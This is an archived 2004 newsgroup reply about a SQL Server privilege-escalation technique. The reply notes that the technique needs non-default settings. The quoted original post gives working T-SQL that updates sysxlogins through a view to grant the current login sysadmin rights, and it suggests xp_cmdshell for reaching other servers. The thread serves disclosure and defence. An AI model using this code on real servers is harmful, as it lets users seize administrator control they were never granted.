Re: Give yourself SQL Administrator rights
From: Sue Hoegemeier (Sue_H_at_nomail.please)
Date: 06/10/04
- Next message: Dan Guzman: "Re: Give yourself SQL Administrator rights"
- Previous message: Giacomo: "repodbc.dll and opening error"
- In reply to: New SQL Administrator: "Give yourself SQL Administrator rights"
- Next in thread: Dan Guzman: "Re: Give yourself SQL Administrator rights"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Date: Wed, 09 Jun 2004 20:40:02 -0600
Even if you change the default settings to allow updates to
the system table, someone would have had to grant
permissions to this user on sysxlogins. Public does not have
permissions to select from sysxlogins. Only members of
sysadmin can select from this table by default.
Allow updates is set to 0 by default (disabled by default)
Only members of the server roles sysadmin and serveradmin
can execute sp_configure to change allow updates to 1
(enabled).
In terms of Cross DB Ownership Chaining, books online has
security implications with this documented and it has it
documented that it is not recommended to enable this.
So you'd have to leave a lot of things open and change
permissions in master in order to allow this.
Opening up potential security risks by changing default
settings, permissions can result in many problems. It's not
necessarily something new.
-Sue
On Wed, 09 Jun 2004 23:46:35 GMT, "New SQL Administrator"
<nospam@telus.net> wrote:
>Has this been documented before? Try this on a SQL Server instance where
>the 'Cross DB Ownership Chaining' and 'allow updates' options are enabled
>via sp_configure.
>
>Start with a SQL Server login that is not a SQL Administrator but is the
>database owner of the current database.
>
>
>create view dbo.my_sysxlogins
>as
>select *
>from master.dbo.sysxlogins
>
>select name,xstatus & 16
>from dbo.my_sysxlogins
>where name = system_user
>
>update dbo.my_sysxlogins
>set xstatus = xstatus ^ 16
>where name = system_user
>
>select name,xstatus
>from dbo.my_sysxlogins
>where name = system_user
>
>The account should now be a SQL Administrator. If you servers on the
>network share the same domain service account, xp_cmdshell may be then used
>to become an SQL Administrator on those servers.
>
>This posting is made to bring this knowledge in the public realm so that
>corrections may be made. SQL Server DBAs may wish to disable 'allow
>updates' and/or 'Cross DB Ownership Chaining' to protect any SQL Server
>databases that they manage.
>
>a1b42436@telus.net
>
>
>
- Next message: Dan Guzman: "Re: Give yourself SQL Administrator rights"
- Previous message: Giacomo: "repodbc.dll and opening error"
- In reply to: New SQL Administrator: "Give yourself SQL Administrator rights"
- Next in thread: Dan Guzman: "Re: Give yourself SQL Administrator rights"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
